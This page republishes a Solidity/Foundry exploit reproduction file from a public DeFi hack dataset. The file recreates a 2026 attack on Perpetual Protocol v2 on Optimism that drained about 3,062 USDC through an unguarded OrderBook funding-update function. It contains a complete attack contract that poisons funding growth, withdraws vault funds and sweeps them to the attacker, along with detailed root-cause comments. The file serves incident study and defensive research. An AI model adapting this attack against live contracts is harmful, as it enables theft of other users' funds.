Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/PerpetualProtocol_exp.sol

Public reproduction file for dataset entry PerpetualProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/PerpetualProtocol_exp.sol164 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import "forge-std/Test.sol";
5
6// Perpetual Protocol v2 (Curie) - missing access-control guard on
7// OrderBook.updateFundingGrowthAndLiquidityCoefficientInFundingPayment(). Optimism, Jul 2026.
8// ~3,062.21 USDC.e drained across two perp deployments in one tx.
9//
10// Exploit tx : 0xb0a8a3cc76fb17bf965ab1dee3b76b62f79ca72def31e12f8ad8b1711625df08 (block 154311432)
11// Attacker : 0x957c6cF5E0F69597dB7A8065c94af1A48aBCA47d (deployed a one-shot attack contract)
12//
13// Root cause (confirmed against the verified OrderBook implementation 0xa0D9966d, source on
14// sourcify): every state-changing OrderBook entrypoint calls `_requireOnlyClearingHouse()` -
15// addLiquidity (line 99), removeLiquidity (178), replaySwapInternal (200), updateOrderDebt (275) -
16// EXCEPT `updateFundingGrowthAndLiquidityCoefficientInFundingPayment` (line 232), whose body runs
17// straight into reading the trader's open orders and applying the CALLER-SUPPLIED
18// `fundingGrowthGlobal.twPremiumX96` to their cached funding growth, with no caller check. It is
19// `external`, so anyone can call it for their own account. (The guard at line 275 belongs to the
20// next function, updateOrderDebt, not to this one - verified by reading the full 232-268 body.)
21//
22// Attack, per market (exact values from the real tx trace):
23// 1. ClearingHouse.addLiquidity() a dust order (base=2, quote=1 wei) so the account has a cached
24// open order (normal public user path, needs ~no collateral at 2 wei).
25// 2. Call the UNGUARDED OrderBook.updateFundingGrowthAndLiquidityCoefficientInFundingPayment(self,
26// baseToken, Funding.Growth(twPremiumX96 = 1e70, 0)) DIRECTLY, poisoning the order's cached
27// funding growth with a fabricated ~1e70 premium.
28// 3. Vault.withdraw(USDC) - withdraw triggers settleAllFunding, which turns the poisoned cache
29// into a enormous bogus funding payment / realized PnL, inflating free collateral so the whole
30// vault balance is withdrawable. The real USDC paid out belongs to the other LPs.
31// Done against two deployments in one tx: vault 0x28bB.. (71.777612 USDC) + vault 0xf127..
32// (2990.435495 USDC) = 3,062.213107 USDC to the attacker.
33//
34// Permissionless: the attacker is a fresh account using only public user paths (addLiquidity /
35// withdraw via ClearingHouse+Vault) plus the one unguarded OrderBook function. No admin/owner/
36// governance/role/signature step stands between the attacker and the exploited function.
37//
38// This reconstruction drives the real contracts with typed calls (no create()-deployed bytecode,
39// no raw calldata). The attack contract is the trader, so addLiquidity/poison/withdraw all act on
40// one consistent account, exactly as the real one-shot contract did.
41//
42// Run (self-contained Optimism archive fork; add --evm-version cancun if a frameless NotActivated hits):
43// forge test --contracts ./src/test/2026-10/PerpetualProtocol_exp.sol --evm-version cancun -vvv
45interface IERC20 {
46 function balanceOf(address) external view returns (uint256);
47 function transfer(address, uint256) external returns (bool);
50interface IClearingHouse {
51 struct AddLiquidityParams {
52 address baseToken;
53 uint256 base;
54 uint256 quote;
55 int24 lowerTick;
56 int24 upperTick;
57 uint256 minBase;
58 uint256 minQuote;
59 bool useTakerBalance;
60 uint256 deadline;
61 }
62 function addLiquidity(AddLiquidityParams calldata params) external returns (uint256, uint256, uint256);
65interface IOrderBook {
66 struct Growth {
67 int256 twPremiumX96;
68 int256 twPremiumDivBySqrtPriceX96;
69 }
70 function updateFundingGrowthAndLiquidityCoefficientInFundingPayment(
71 address trader,
72 address baseToken,
73 Growth calldata fundingGrowthGlobal
74 ) external returns (int256);
77interface IVault {
78 function withdraw(address token, uint256 amount) external;
81contract PerpAttacker {
82 IERC20 internal constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
83 int256 internal constant POISON_TW_PREMIUM = 1e70; // fabricated twPremiumX96 from the real tx
85 function hit(
86 address clearingHouse,
87 address orderBook,
88 address vault,
89 address baseToken,
90 int24 lowerTick,
91 int24 upperTick
92 ) external {
93 // 1. Create a cached dust order through the normal ClearingHouse path.
94 IClearingHouse(clearingHouse).addLiquidity(
95 IClearingHouse.AddLiquidityParams({
96 baseToken: baseToken,
97 base: 2,
98 quote: 1,
99 lowerTick: lowerTick,
100 upperTick: upperTick,
101 minBase: 0,
102 minQuote: 0,
103 useTakerBalance: false,
104 deadline: block.timestamp
105 })
106 );
108 // 2. Poison the order's cached funding growth via the unguarded OrderBook function.
109 IOrderBook(orderBook).updateFundingGrowthAndLiquidityCoefficientInFundingPayment(
110 address(this), baseToken, IOrderBook.Growth({twPremiumX96: POISON_TW_PREMIUM, twPremiumDivBySqrtPriceX96: 0})
111 );
113 // 3. Withdraw the whole vault against the fabricated PnL (withdraw settles funding first).
114 IVault(vault).withdraw(address(USDC), USDC.balanceOf(vault));
115 }
117 function sweep(address to) external {
118 USDC.transfer(to, USDC.balanceOf(address(this)));
119 }
122contract PerpetualProtocol_exp is Test {
123 IERC20 internal constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
124 uint256 internal constant ATTACK_BLOCK = 154311432;
125 // Exact total drained in the real tx (vault 0x28bB.. 71,777,612 + vault 0xf127.. 2,990,435,495).
126 uint256 internal constant EXPECTED = 3_062_213_107;
128 string internal constant OPTIMISM_ARCHIVE = "https://optimism.gateway.tenderly.co";
130 address internal attacker = makeAddr("attacker");
132 function setUp() public {
133 vm.createSelectFork(OPTIMISM_ARCHIVE, ATTACK_BLOCK - 1);
134 }
136 function testExploit() public {
137 PerpAttacker atk = new PerpAttacker();
139 // Market 1
140 atk.hit(
141 0x4f7961ee13bDA96BFa9381B87D21b2Baed96F0b5, // ClearingHouse
142 0x772F48F073c1f328C264619fc3bbA28e3efdEfb0, // OrderBook
143 0x28bB48207C761eeD2A4aA9249083c429c719AaDB, // Vault
144 0xab3F8a9599D62f09A71d7337dFfF4458a4C7fe27, // baseToken
145 84120,
146 84240
147 );
148 // Market 2
149 atk.hit(
150 0x8098c6273bD5F9D32d03E6cb62472a9E6608efF2,
151 0x4E26b6815d82BAa6B8c15Fe4ffB646dFb4b474c7,
152 0xf127fdb858F009938B4530aAC37E5Bc8e9a09C28,
153 0x28D8a1a6BDEAF9d42dA6A55da8a34710e3434B97,
154 83400,
155 83520
156 );
158 atk.sweep(attacker);
160 uint256 stolen = USDC.balanceOf(attacker);
161 emit log_named_decimal_uint("USDC drained", stolen, 6);
162 assertApproxEqRel(stolen, EXPECTED, 0.01e18);
163 }

Analysis

Dataset entry

Public Foundry test for “PerpetualProtocol” (2026-07-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x957c6cf5e0f69597db7a8065c94af1a48abca47d

File record

Name
PerpetualProtocol
Path
src/test/2026-10/PerpetualProtocol_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
53c25aa795b2d07f0a1e6d116c5b5b9c45820e04
Language
Solidity
Size
165 lines
Date
2026-07-16
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-10/PerpetualProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 53c25aa795b2d07f0a1e6d116c5b5b9c45820e04, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.